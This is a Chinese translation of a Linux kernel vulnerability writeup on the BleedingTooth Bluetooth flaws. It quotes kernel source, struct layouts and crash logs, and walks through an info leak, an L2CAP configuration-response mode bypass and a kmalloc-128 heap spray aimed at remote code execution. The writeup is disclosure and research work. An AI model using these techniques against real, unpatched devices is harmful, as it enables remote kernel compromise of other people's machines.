BleedingTooth:Linux内核蓝牙漏洞

  • BleedingTooth:Linux内核蓝牙漏洞已关闭评论
  • 23 views
  • A+

译文声明:本文是翻译文章,文章原作者Andy Nguyen

原文地址:https://google.github.io/security-research/pocs/linux/bleedingtooth/writeup

概述

BleedingTooth是Linux蓝牙子系统中的一系列零点击漏洞,一般对蓝牙主机的攻击面很少,因为蓝牙中的大多数漏洞只影响固件和规范,并且只能让攻击者进行窃听和操控信息,但由CVE-2020-12351、CVE-2020-12352、CVE-2020-24490三个漏洞组成的BleedingTooth允许未经身份验证的远程攻击者在具有该漏洞的设备上执行具有内核权限的任意代码。本文的BleedingTooth系列漏洞是在BlueBorne漏洞集的研究基础上扩展了syzkaller功能,对/dev/vhci设备进行了fuzz,最终发现了BleedingTooth系列漏洞。

本文记录了我在研究代码的过程中揭开高严重性的漏洞,并最终将漏洞链接到一起形成了一个针对x86-64 Ubuntu 20.04.1的完整RCE利用过程。

漏洞细节

基础信息

先简述下蓝牙堆栈,蓝牙芯片使用HCL(Host Controller Interface)协议进行通信,发送命令给控制器并且接收控制器事件,还负责发送和接收来自端设备的数据,在通信过程中常用的数据包有:

命令数据包:主机发送命令数据包使控制器执行命令。

事件数据包:控制器发送信息给主机和反馈命令。

数据包:主机与控制器之间的传输数据,通常携带L2CAP(逻辑链路控制和适配协议)数据包。

在L2CAP上构建了A2MP ( AMP Manager Protocol )或SMP ( Security Management Protocol )等更高层次的协议,Linux实现中这些协议都未经验证而公开,并且其中的某些协议存在内核中,所以研究其中的漏洞非常重要。

BadVibes

BadVibes(CVE-2020-24490)是位于net/bluetooth/hci_event.c 中的一个基于堆的缓冲区溢出漏洞,主要影响Linux kernel 4.19及更高版本,该漏洞发生在HCl事件数据包解析中,因为HCl事件数据包由蓝牙芯片进行制作和发送,所以通常不能被攻击者控制,但是有两个函数hci_le_adv_report_evt()和hci_le_ext_adv_report_evt()能够解析来自远程蓝牙设备的广告报告,并且报告大小可变。

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c

static void hci_le_adv_report_evt(struct hci_dev hdev, struct sk_buff skb)
{
u8 num_reports = skb->data[0];
void *ptr = &skb->data[1];

hci_dev_lock(hdev);

while (num_reports--) {
    struct hci_ev_le_advertising_info *ev = ptr;
    s8 rssi;

    if (ev->length <= HCI_MAX_AD_LENGTH) {
        rssi = ev->data[ev->length];
        process_adv_report(hdev, ev->evt_type, &ev->bdaddr,
                   ev->bdaddr_type, NULL, 0, rssi,
                   ev->data, ev->length);
    } else {
        bt_dev_err(hdev, "Dropping invalid advertising data");
    }

    ptr += sizeof(*ev) + ev->length + 1;
}

hci_dev_unlock(hdev);

}
...

static void hci_le_ext_adv_report_evt(struct hci_dev hdev, struct sk_buff skb)
{
u8 num_reports = skb->data[0];
void *ptr = &skb->data[1];

hci_dev_lock(hdev);

while (num_reports--) {
    struct hci_ev_le_ext_adv_report *ev = ptr;
    u8 legacy_evt_type;
    u16 evt_type;

    evt_type = __le16_to_cpu(ev->evt_type);
    legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type);
    if (legacy_evt_type != LE_ADV_INVALID) {
        process_adv_report(hdev, legacy_evt_type, &ev->bdaddr,
                   ev->bdaddr_type, NULL, 0, ev->rssi,
                   ev->data, ev->length);
    }

    ptr += sizeof(*ev) + ev->length;
}

hci_dev_unlock(hdev);

}
```

以上两个函数都能调用process_adv_report(),但是hci_le_ext_adv_report_evt()没有检查ev-> length是否小于等于HCI_MAX_AD_LENGTH = 31,然后process_adv_report()以data和len为参数调用store_pending_adv_report():

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void process_adv_report(struct hci_dev *hdev, u8 type, bdaddr_t *bdaddr,
      u8 bdaddr_type, bdaddr_t *direct_addr,
      u8 direct_addr_type, s8 rssi, u8 *data, u8 len)
{
...
if (!has_pending_adv_report(hdev)) {
...
if (type == LE_ADV_IND || type == LE_ADV_SCAN_IND) {
store_pending_adv_report(hdev, bdaddr, bdaddr_type,
rssi, flags, data, len);
return;
}
...
}
...
}

最后store_pending_adv_report()子程序将传入的数据复制到d-> last_adv_data中:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void store_pending_adv_report(struct hci_dev *hdev, bdaddr_t *bdaddr,
    u8 bdaddr_type, s8 rssi, u32 flags,
    u8 *data, u8 len)
{
struct discovery_state *d = &hdev->discovery;
...
memcpy(d->last_adv_data, data, len);
d->last_adv_data_len = len;
}

在下面的struct hci_dev中可以看到last_adv_data缓冲区与HCI_MAX_AD_LENGTH大小相同为31字节,但是解析器最多可以接收和传输255个字节大小的数据包到该函数,这导致没有足够的空间储存扩展后的数据,可以溢出last_adv_data和破坏偏移0xbaf的成员。

// pahole -E -C hci_dev --hex bluetooth.ko
struct hci_dev {
...
struct discovery_state {
...
/* typedef u8 -> __u8 */ unsigned char     last_adv_data[31];           /* 0xab0 0x1f */
...
} discovery; /* 0xa68 0x88 */
...
struct list_head {
struct list_head * next;                                                 /* 0xb18   0x8 */
struct list_head * prev;                                                 /* 0xb20   0x8 */
} mgmt_pending; /* 0xb18 0x10 */
...
/* size: 4264, cachelines: 67, members: 192 */
/* sum members: 4216, holes: 17, sum holes: 48 */
/* paddings: 10, sum paddings: 43 */
/* forced alignments: 1 */
/* last cacheline: 40 bytes */
} __attribute__((__aligned__(8)));

通过上面的分析我们可以知道hci_le_ext_adv_report_evt ( )没有对传入的广告数据大小进行检查,如果接收超过last_adv_data大小的数据可能会产生缓冲区溢出漏洞。

蓝牙4中广告payload最大为31个8 bit,而蓝牙5中通过添加额外的广告信道和新的广告PDU可以达到255个8 bit,该资料来源。

所以该漏洞只在受害者的计算机有Bluetooth 5芯片并且受害者扫描广告数据时触发,使用支持蓝牙5的设备进行确认发现触发该漏洞导致了崩溃:

[ 118.490999] general protection fault: 0000 [#1] SMP PTI
[ 118.491006] CPU: 6 PID: 205 Comm: kworker/u17:0 Not tainted 5.4.0-37-generic #41-Ubuntu
[ 118.491008] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020
[ 118.491034] Workqueue: hci0 hci_rx_work [bluetooth]
[ 118.491056] RIP: 0010:hci_bdaddr_list_lookup+0x1e/0x40 [bluetooth]
[ 118.491060] Code: ff ff e9 26 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8b 07 48 89 e5 48 39 c7 75 0a eb 24 48 8b 00 48 39 f8 74 1c 44 8b 06 <44> 39 40 10 75 ef 44 0f b7 4e 04 66 44 39 48 14 75 e3 38 50 16 75
[ 118.491062] RSP: 0018:ffffbc6a40493c70 EFLAGS: 00010286
[ 118.491066] RAX: 4141414141414141 RBX: 000000000000001b RCX: 0000000000000000
[ 118.491068] RDX: 0000000000000000 RSI: ffff9903e76c100f RDI: ffff9904289d4b28
[ 118.491070] RBP: ffffbc6a40493c70 R08: 0000000093570362 R09: 0000000000000000
[ 118.491072] R10: 0000000000000000 R11: ffff9904344eae38 R12: ffff9904289d4000
[ 118.491074] R13: 0000000000000000 R14: 00000000ffffffa3 R15: ffff9903e76c100f
[ 118.491077] FS: 0000000000000000(0000) GS:ffff990434580000(0000) knlGS:0000000000000000
[ 118.491079] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 118.491081] CR2: 00007feed125a000 CR3: 00000001b860a003 CR4: 00000000003606e0
[ 118.491083] Call Trace:
[ 118.491108] process_adv_report+0x12e/0x560 [bluetooth]
[ 118.491128] hci_le_meta_evt+0x7b2/0xba0 [bluetooth]
[ 118.491134] ? __wake_up_sync_key+0x1e/0x30
[ 118.491140] ? sock_def_readable+0x40/0x70
[ 118.491143] ? __sock_queue_rcv_skb+0x142/0x1f0
[ 118.491162] hci_event_packet+0x1c29/0x2a90 [bluetooth]
[ 118.491186] ? hci_send_to_monitor+0xae/0x120 [bluetooth]
[ 118.491190] ? skb_release_all+0x26/0x30
[ 118.491207] hci_rx_work+0x19b/0x360 [bluetooth]
[ 118.491211] ? __schedule+0x2eb/0x740
[ 118.491217] process_one_work+0x1eb/0x3b0
[ 118.491221] worker_thread+0x4d/0x400
[ 118.491225] kthread+0x104/0x140
[ 118.491229] ? process_one_work+0x3b0/0x3b0
[ 118.491232] ? kthread_park+0x90/0x90
[ 118.491236] ret_from_fork+0x35/0x40

上面的崩溃表示我们能够完全控制struct hci_dev中的成员, 有一个被破坏的有趣的指针mgmt_pending-> next,它是包含函数指针cmd_complete类型的struct mgmt_pending_cmd。因为cmd_complete函数指针有struct mgmt_pending_cmd *作为参数:

```
// pahole -E -C mgmt_pending_cmd --hex bluetooth.ko
struct mgmt_pending_cmd {
...
int                       (cmd_complete)(struct mgmt_pending_cmd , u8);       / 0x38   0x8 /

/* size: 64, cachelines: 1, members: 8 */
/* sum members: 62, holes: 1, sum holes: 2 */

};
```

由于mgmt_pending-> next是指向循环列表的指针,而循环列表中的指针如果不能确保它们指向它们的起始位置,当受害机器的内存布局随机化时很难通过mgmt_pending-> next指针指向溢出地址。

要定位mgmt_pending-> next指针需要一个信息泄露漏洞。我们可以通过BadChoice(CVE-2020-12352)来重定位mgmt_pending-> next指针。

BadChoice

BadChoice(CVE-2020-12352):基于堆栈的信息泄漏漏洞。

BadChoice影响Linux内核3.6及更高版本,攻击者知道受害机器的bd地址后可以检索包含各种指针的内核堆栈信息,这些信息能让我们知道受害机器的内存布局和绕过KASLR保护机制。上面的BadVibes漏洞可以执行任意代码,但当内存布局随机化时,我们不知道受害机器系统中的内存布局,该漏洞就会难以利用,可以通过BadChoice漏洞泄露系统中的堆栈内存数据来使用BadVibes漏洞。

信息泄漏可以通过越界访问、使用未初始化的变量、旁道攻击、计时攻击来实现的,但旁道攻击、计时攻击因为传输问题比越界访问和使用未初始化变量更难利用。这里遍历向攻击者返回信息的子程序看看能不能找到可以泄露越界数据或未初始化内存的漏洞。

通过遍历执行所有的a2mp_send()调用可以发现A2MP协议的命令A2MP_GETINFO_REQ中存在该漏洞,该漏洞从Linux内核3.6起就存在,并且在CONFIG_BT_HS = y(默认情况下启用)时可以查看,触发点位于A2MP_GETINFO_REQ命令调用的a2mp_getinfo_req()子程序:

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static int a2mp_getinfo_req(struct amp_mgr mgr, struct sk_buff skb,
  struct a2mp_cmd hdr)
{
struct a2mp_info_req
req = (void *) skb->data;
...
hdev = hci_dev_get(req->id);
if (!hdev || hdev->dev_type != HCI_AMP) {
struct a2mp_info_rsp rsp;

    rsp.id = req->id;
    rsp.status = A2MP_STATUS_INVALID_CTRL_ID;

    a2mp_send(mgr, A2MP_GETINFO_RSP, hdr->ident, sizeof(rsp),
          &rsp);

    goto done;
}
...

}
```

该子程序用于使用HCI设备ID请求有关AMP控制器的信息。如果hdev无效或者它不是HCI_AMP类型,子程序就会采用错误路径,将A2MP_STATUS_INVALID_CTRL_ID发回给攻击者,而且结构a2mp_info_rsp不仅包含rsp.id和rsp.status它还有更多的成员。正如我们所看到的,响应结构还没有完全初始化,导致它可以向攻击者泄露16个字节的内核堆栈,其中可能包含受害者的敏感数据:

```
// pahole -E -C a2mp_info_rsp --hex bluetooth.ko
struct a2mp_info_rsp {
/ typedef __u8 / unsigned char             id;                               /     0   0x1 /
/ typedef __u8 / unsigned char             status;                           /   0x1   0x1 /
/ typedef __le32 -> __u32 / unsigned int               total_bw;               /   0x2   0x4 /
/ typedef __le32 -> __u32 / unsigned int               max_bw;                 /   0x6   0x4 /
/ typedef __le32 -> __u32 / unsigned int               min_latency;           /   0xa   0x4 /
/ typedef __le16 -> __u16 / short unsigned int         pal_cap;               /   0xe   0x2 /
/ typedef __le16 -> __u16 / short unsigned int         assoc_size;             / 0x10   0x2 /

/* size: 18, cachelines: 1, members: 7 */
/* last cacheline: 18 bytes */

} attribute((packed));
```

可以通过在发送A2MP_GETINFO_REQ前将指针放在a2mp_getinfo_req()复用的同一堆栈中,使未初始化的变量包含之前进入堆栈的指针来利用该漏洞泄露信息。

BadKarma

BadKarma(CVE-2020-12351):基于堆的类型混淆漏洞。

在被攻击蓝牙扫描范围内,攻击者知道了bd地址可以通过发送恶意l2cap包无交互的触发该漏洞,引发拒绝服务攻击或内核权限的任意代码执行。

该漏洞是原作者在尝试触发BadChoice时发现的第三个漏洞,当受害机器崩溃时显示了以下跟踪调用:

[ 445.440736] general protection fault: 0000 [#1] SMP PTI
[ 445.440740] CPU: 4 PID: 483 Comm: kworker/u17:1 Not tainted 5.4.0-40-generic #44-Ubuntu
[ 445.440741] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020
[ 445.440764] Workqueue: hci0 hci_rx_work [bluetooth]
[ 445.440771] RIP: 0010:sk_filter_trim_cap+0x6d/0x220
[ 445.440773] Code: e8 18 e1 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 4c 8b 78 18 48 89 4d b0 <41> f6 47 02 08 0f 85 41 01 00 00 0f 1f 44 00 00 49 8b 47 30 49 8d
[ 445.440776] RSP: 0018:ffffa86b403abca0 EFLAGS: 00010286
[ 445.440778] RAX: ffffffffc071cc50 RBX: ffff8e95af6d7000 RCX: 0000000000000000
[ 445.440780] RDX: 0000000000000000 RSI: ffff8e95ac533800 RDI: ffff8e95af6d7000
[ 445.440781] RBP: ffffa86b403abd00 R08: ffff8e95b452f0e0 R09: ffff8e95b34072c0
[ 445.440782] R10: ffff8e95acd57818 R11: ffff8e95b456ae38 R12: ffff8e95ac533800
[ 445.440784] R13: 0000000000000000 R14: 0000000000000001 R15: 30478b4800000208
[ 445.440786] FS: 0000000000000000(0000) GS:ffff8e95b4500000(0000) knlGS:0000000000000000
[ 445.440788] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 445.440789] CR2: 000055f371aa94a8 CR3: 000000022dc0a005 CR4: 00000000003606e0
[ 445.440791] Call Trace:
[ 445.440817] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth]
[ 445.440838] l2cap_data_rcv+0x351/0x510 [bluetooth]
[ 445.440857] l2cap_data_channel+0x29f/0x470 [bluetooth]
[ 445.440875] l2cap_recv_frame+0xe5/0x300 [bluetooth]
[ 445.440878] ? skb_release_all+0x26/0x30
[ 445.440896] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth]
[ 445.440914] hci_rx_work+0x186/0x360 [bluetooth]
[ 445.440919] process_one_work+0x1eb/0x3b0
[ 445.440921] worker_thread+0x4d/0x400
[ 445.440924] kthread+0x104/0x140
[ 445.440927] ? process_one_work+0x3b0/0x3b0
[ 445.440929] ? kthread_park+0x90/0x90
[ 445.440932] ret_from_fork+0x35/0x40

在l2cap_data_rcv()中可以看到,当使用ERTM(增强重传模式)或流模式(类似TCP)时会同时调用sk_filter():

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static int l2cap_data_rcv(struct l2cap_chan *chan, struct sk_buff *skb)
{
...
if ((chan->mode == L2CAP_MODE_ERTM ||
    chan->mode == L2CAP_MODE_STREAMING) && sk_filter(chan->data, skb))
goto drop;
...
}

a2mp_chan_open() 会创建一个通道,使用L2CAP_MODE_ERTM模式初始化:

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static struct l2cap_chan a2mp_chan_open(struct l2cap_conn conn, bool locked)
{
struct l2cap_chan *chan;
int err;

chan = l2cap_chan_create();
if (!chan)
    return NULL;
...
chan->mode = L2CAP_MODE_ERTM;
...
return chan;

}
...
···
static struct amp_mgr amp_mgr_create(struct l2cap_conn conn, bool locked)
{
struct amp_mgr mgr;
struct l2cap_chan
chan;

mgr = kzalloc(sizeof(*mgr), GFP_KERNEL);
if (!mgr)
    return NULL;
...
chan = a2mp_chan_open(conn, locked);
if (!chan) {
    kfree(mgr);
    return NULL;
}

mgr->a2mp_chan = chan;
chan->data = mgr;
...
return mgr;

}
```

查看amp_mgr_create()发现chan-> data类型为struct amp_mgr,而sk_filter()接受struct sock类型的参数,所以这里存在一个远程类型混淆的漏洞。该漏洞在Linux内核4.8中即存在。

利用

通过BadChoice漏洞、BadVibes漏洞以及BadKarma漏洞一起使用可以实现RCE。本文中仅关注使用BadKarma漏洞,因为下面的原因:

1、它不局限于蓝牙5。

2、它不需要受害机器进行扫描。

3、可以通过该漏洞对特定设备进行针对性攻击。

同时在利用BadVibes漏洞攻击时因为使用广播,所以只能成功利用一台机器,其他所有收听相同消息的机器都会崩溃。

绕过BadKarma

但现实中想要利用BadChoice,首先需要绕过BadKarma。因为BadKarma的类型混淆错误,只要将A2MP信道设置为ERTM/streaming模式,就无法通过l2cap_data_rcv()到达A2MP子例程,也就不会触发sk_filter()中的漏洞。

查看下面的l2cap_data_channel()函数可以知道要改变路由可以将信道模式重新配置为L2CAP_MODE_BASIC,这样就又能调用A2MP子例程接收处理程序了:

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static void l2cap_data_channel(struct l2cap_conn conn, u16 cid,
      struct sk_buff
skb)
{
struct l2cap_chan *chan;

chan = l2cap_get_chan_by_scid(conn, cid);
...
switch (chan->mode) {
...
case L2CAP_MODE_BASIC:
    /* If socket recv buffers overflows we drop data here
     * which is *bad* because L2CAP has to be reliable.
     * But we don't have any other choice. L2CAP doesn't
     * provide flow control mechanism. */

    if (chan->imtu < skb->len) {
        BT_ERR("Dropping L2CAP data: receive buffer overflow");
        goto drop;
    }

    if (!chan->ops->recv(chan, skb))
        goto done;
    break;

case L2CAP_MODE_ERTM:
case L2CAP_MODE_STREAMING:
    l2cap_data_rcv(chan, skb);
    goto done;
...
}
...

}
```

那么是否可以重新配置通道模式? 规范规定对于A2MP通道,必须使用ERTM或流模式:

蓝牙核心通过对AMP上使用的任何L2CAP通道强制使用增强型重传模式或流式传输模式,这样可以为蓝牙核心上的协议和配置文件保持一定程度的可靠性。该资料来自这

因为某种原因,以上事实未在规范中描述,但Linux的实现实际上允许我们通过将所需的通道模式封装在L2CAP_CONF_UNACCEPT配置响应中来从任何通道模式切换到L2CAP_MODE_BASIC:

``
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c

static inline int l2cap_config_rsp(struct l2cap_conn conn,
  struct l2cap_cmd_hdr
cmd, u16 cmd_len,
  u8 data)
{
struct l2cap_conf_rsp
rsp = (struct l2cap_conf_rsp *)data;
...
scid   = __le16_to_cpu(rsp->scid);
flags = __le16_to_cpu(rsp->flags);
result = __le16_to_cpu(rsp->result);
...
chan = l2cap_get_chan_by_scid(conn, scid);
if (!chan)
return 0;

switch (result) {
...
case L2CAP_CONF_UNACCEPT:
    if (chan->num_conf_rsp <= L2CAP_CONF_MAX_CONF_RSP) {
        ...
        result = L2CAP_CONF_SUCCESS;
        len = l2cap_parse_conf_rsp(chan, rsp->data, len,
                       req, sizeof(req), &result);
        ...
    }
    fallthrough;
...
}
...

}
```

上面的函数调用l2cap_parse_conf_rsp(), 在l2cap_parse_conf_rsp()中,如果选项类型指定为L2CAP_CONF_RFC,并且当前的信道模式不是L2CAP_MODE_BASIC,就可以满足我们的期望:

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static int l2cap_parse_conf_rsp(struct l2cap_chan chan, void rsp, int len,
void data, size_t size, u16 result)
{
...
while (len >= L2CAP_CONF_OPT_SIZE) {
len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val);
if (len < 0)
break;

    switch (type) {
    ...
    case L2CAP_CONF_RFC:
        if (olen != sizeof(rfc))
            break;
        memcpy(&rfc, (void *)val, olen);
        ...
        break;
    ...
    }
}

if (chan->mode == L2CAP_MODE_BASIC && chan->mode != rfc.mode)
    return -ECONNREFUSED;

chan->mode = rfc.mode;
...

}
```

现在的问题是我们是否需要先从受害者那里收到配置请求,然后才能发送回配置响应?答案是不需要,另外无论受害人与我们进行了什么协商,我们都可以发送回L2CAP_CONF_UNACCEPT响应,并且受害人会接受我们发送的响应。利用配置响应旁路我们可以访问A2MP命令并利用BadChoice检索我们需要的所有信息(后面会有介绍)。 准备好引发类型混淆后我们就可以通过断开并连接该通道来重新创建A2MP通道,并按照BadKarma的要求将通道模式设置回ERTM。

利用sk_filter()

前面我们知道了BadKarma的漏洞发生在struct amp_mgr对象传递给sk_filter()时,而struct sock是可控的,struct sock中的错误映射到struct amp_mgr中。这会导致取消引用无效的指针,最终导致崩溃,并且之前的崩溃日志中显示这也是导致BadKarma漏洞的主要原因。 问题是我们是否可以通过控制该指针取消引用,或者控制struct amp_mgr中的成员以影响sk_filter()的代码流?下面让我们看一下sk_filter()并跟踪struct sock *sk,来查看该子程序中哪些成员是有用的:

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
static inline int sk_filter(struct sock sk, struct sk_buff skb)
{
return sk_filter_trim_cap(sk, skb, 1);
}
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c
int sk_filter_trim_cap(struct sock sk, struct sk_buff skb, unsigned int cap)
{
int err;
struct sk_filter *filter;

/*
 * If the skb was allocated from pfmemalloc reserves, only
 * allow SOCK_MEMALLOC sockets to use it as this socket is
 * helping free memory
 */
if (skb_pfmemalloc(skb) && !sock_flag(sk, SOCK_MEMALLOC)) {
    NET_INC_STATS(sock_net(sk), LINUX_MIB_PFMEMALLOCDROP);
    return -ENOMEM;
}
err = BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb);
if (err)
    return err;

err = security_sock_rcv_skb(sk, skb);
if (err)
    return err;

rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if (filter) {
    struct sock *save_sk = skb->sk;
    unsigned int pkt_len;

    skb->sk = sk;
    pkt_len = bpf_prog_run_save_cb(filter->prog, skb);
    skb->sk = save_sk;
    err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM;
}
rcu_read_unlock();

return err;

}
```

sk第一次使用是在sock_flag()中,该函数只检查一些标志并且只在skb_pfmemalloc()返回true时才会使用。再让我们看一下BPF_CGROUP_RUN_PROG_INET_INGRESS()对套接字结构有什么作用:

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf-cgroup.h
#define BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb)    
({                            
int __ret = 0;                    
if (cgroup_bpf_enabled)                
__ret = __cgroup_bpf_run_filter_skb(sk, skb,    
  BPF_CGROUP_INET_INGRESS);            
                           
__ret;                        
})
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/kernel/bpf/cgroup.c
int __cgroup_bpf_run_filter_skb(struct sock sk,
struct sk_buff
skb,
enum bpf_attach_type type)
{
...
if (!sk || !sk_fullsock(sk))
return 0;

if (sk->sk_family != AF_INET && sk->sk_family != AF_INET6)
    return 0;
...

}
```

sk_fullsock()也会检查一些标志,此外sk-> sk_family必须是AF_INET = 2或者AF_INET6 = 10才能继续向下执行,该字段位于struct sock中的偏移0x10处:

// pahole -E -C sock --hex bluetooth.ko
struct sock {
struct sock_common {
...
short unsigned int skc_family;                                           /* 0x10   0x2 */
...
} __sk_common; /*     0 0x88 */
...
struct sk_filter *         sk_filter;                                           /* 0x110   0x8 */
...
/* size: 760, cachelines: 12, members: 88 */
/* sum members: 747, holes: 4, sum holes: 8 */
/* sum bitfield members: 40 bits (5 bytes) */
/* paddings: 1, sum paddings: 4 */
/* forced alignments: 1 */
/* last cacheline: 56 bytes */
} __attribute__((__aligned__(8)));

查看struct amp_mgr中的偏移量0x10,发现该字段映射到struct l2cap_conn指针:

// pahole -E -C amp_mgr --hex bluetooth.ko
struct amp_mgr {
...
struct l2cap_conn *       l2cap_conn;                                           /* 0x10   0x8 */
...
/* size: 112, cachelines: 2, members: 11 */
/* sum members: 110, holes: 1, sum holes: 2 */
/* last cacheline: 48 bytes */
};

因为这是指向与分配大小(最小32字节)对齐的堆对象的指针,所以该指针的低字节不能有__cgroup_bpf_run_filter_skb()中需要的值2或10。知道这点后我们知道无论其他字段有什么值,该子程序始终返回0。security_sock_rcv_skb()子程序也是相同的条件,否则返回0。 以上条件使sk- > sk _ filter成了唯一可能被破坏的成员。后面我们会知道控制struct sk _ filter有什么用,我们知道sk _ filter在偏移0x110处,而struct amp _ mgr的大小只有112 = 0x70字节,这意味着我们需要做一些调整来控制它。因为structamp _ mgr的大小为112字节( 65到128之间),因此它被分配在kmalloc-128 slab内,而通常情况下为了尽量减少碎片,块中的内存块因为不包含元数据,所以内存块是连续的,为了控制指针在偏移0x120处需要一个堆群,其中我们所需的指针位于struct amp_mgr后面的第二个块的偏移量0x10处。

查找Heap Primitive

为了使用kmalloc-128 slab,我们需要一个命令(最好是可控的),使用它可以分配65-128字节之间的内存。与其他L2CAP不同,Linux中堆的使用率很低,在net/bluetooth/中搜索kmalloc()或kzalloc()没有发现任何有用的东西(至少没有发现可以控制多个命令的东西)。而我们想要一个能够分配任意大小内存的primitive,将攻击者控制的数据复制到分配的内存里,并且能够控制到释放它。

巧合的是A2MP协议正好提供了这样一个primitive,我们可以使用A2MP_GETAMPASSOC_RSP命令来让kmemdup()复制内存,并将内存地址存储在控制结构中:

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static int a2mp_getampassoc_rsp(struct amp_mgr mgr, struct sk_buff skb,
struct a2mp_cmd hdr)
{
...
u16 len = le16_to_cpu(hdr->len);
...
assoc_len = len - sizeof(
rsp);
...
ctrl = amp_ctrl_lookup(mgr, rsp->id);
if (ctrl) {
u8 *assoc;

    assoc = kmemdup(rsp->amp_assoc, assoc_len, GFP_KERNEL);
    if (!assoc) {
        amp_ctrl_put(ctrl);
        return -ENOMEM;
    }

    ctrl->assoc = assoc;
    ctrl->assoc_len = assoc_len;
    ctrl->assoc_rem_len = assoc_len;
    ctrl->assoc_len_so_far = 0;

    amp_ctrl_put(ctrl);
}
...

}
```

为了使amp_ctrl_lookup()返回控制结构,我们必须先使用A2MP_GETINFO_RSP命令将其添加到列表中:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static int a2mp_getinfo_rsp(struct amp_mgr *mgr, struct sk_buff *skb,
  struct a2mp_cmd *hdr)
{
struct a2mp_info_rsp *rsp = (struct a2mp_info_rsp *) skb->data;
...
ctrl = amp_ctrl_add(mgr, rsp->id);
...
}

这个堆primitive大小和内容都是任意的,只是没有方便控制的primitive让我们释放分配。除了通过关闭HCL连接外,我们还通过查看内存找到了其他方法。当我们在ctrl-> assoc中存储新的内存地址时,并没有释放之前存储在此处的内存块,而当我们覆盖该内存块时,该存储块将被遗忘。我们可以利用这点,通过使用不同大小的分配覆盖ctrl-> assoc,当关闭HCI连接时另一半将被释放,而我们覆盖的仍然保持分配状态。

控制越界读

我们前面的目的是为了控制一个与struct amp_mgr对象相距一个块的内存块,这样我们就可以控制偏移0x110处的值,而该值表示sk_filter指针,这样当我们触发类型混淆时就可以取消对任意指针的引用。

以下基本技术在使用SLUB分配器的Ubuntu上非常可靠地工作:

1、分配许多大小为128字节的对象来填充kmalloc-128 slabs。

2、创建一个新的A2MP通道,并希望struct amp_mgr对象与堆喷射对象相邻。

3、触发类型混淆并实现受控的越界读取。

为了验证堆喷射是否成功,我们可以查询/proc/slabinfo,来获取受害者机器上kmalloc-128的信息:

```
$ sudo cat /proc/slabinfo
slabinfo - version: 2.1

name           : tunables : slabdata

...
kmalloc-128         1440   1440   128   32   1 : tunables   0   0   0 : slabdata     45     45     0
...
```

然后在堆喷射后我们发现active_objs增加了:

$ sudo cat /proc/slabinfo
...
kmalloc-128         1760   1760   128   32   1 : tunables   0   0   0 : slabdata     55     55     0
...

在上面的示例中,我们喷射了320个对象。 现在如果我们设法将struct amp_mgr分配到这些喷射对象周围,就可能在取消引用受控指针时触发崩溃。

[   58.881623] general protection fault: 0000 [#1] SMP PTI
[   58.881639] CPU: 3 PID: 568 Comm: kworker/u9:1 Not tainted 5.4.0-48-generic #52-Ubuntu
[   58.881645] Hardware name: Acer Aspire E5-575/Ironman_SK , BIOS V1.04 04/26/2016
[   58.881705] Workqueue: hci0 hci_rx_work [bluetooth]
[   58.881725] RIP: 0010:sk_filter_trim_cap+0x65/0x220
[   58.881734] Code: 00 00 4c 89 e6 48 89 df e8 b8 c5 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 <4c> 8b 78 18 48 89 4d b0 41 f6 47 02 08 0f 85 41 01 00 00 0f 1f 44
[   58.881740] RSP: 0018:ffffbbccc10d3ca0 EFLAGS: 00010202
[   58.881748] RAX: 4343434343434343 RBX: ffff96da38f70300 RCX: 0000000000000000
[   58.881753] RDX: 0000000000000000 RSI: ffff96da62388300 RDI: ffff96da38f70300
[   58.881758] RBP: ffffbbccc10d3d00 R08: ffff96da38f67700 R09: ffff96da68003340
[   58.881763] R10: 00000000000301c0 R11: 8075f638da96ffff R12: ffff96da62388300
[   58.881767] R13: 0000000000000000 R14: 0000000000000001 R15: 0000000000000008
[   58.881774] FS: 0000000000000000(0000) GS:ffff96da69380000(0000) knlGS:0000000000000000
[   58.881780] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
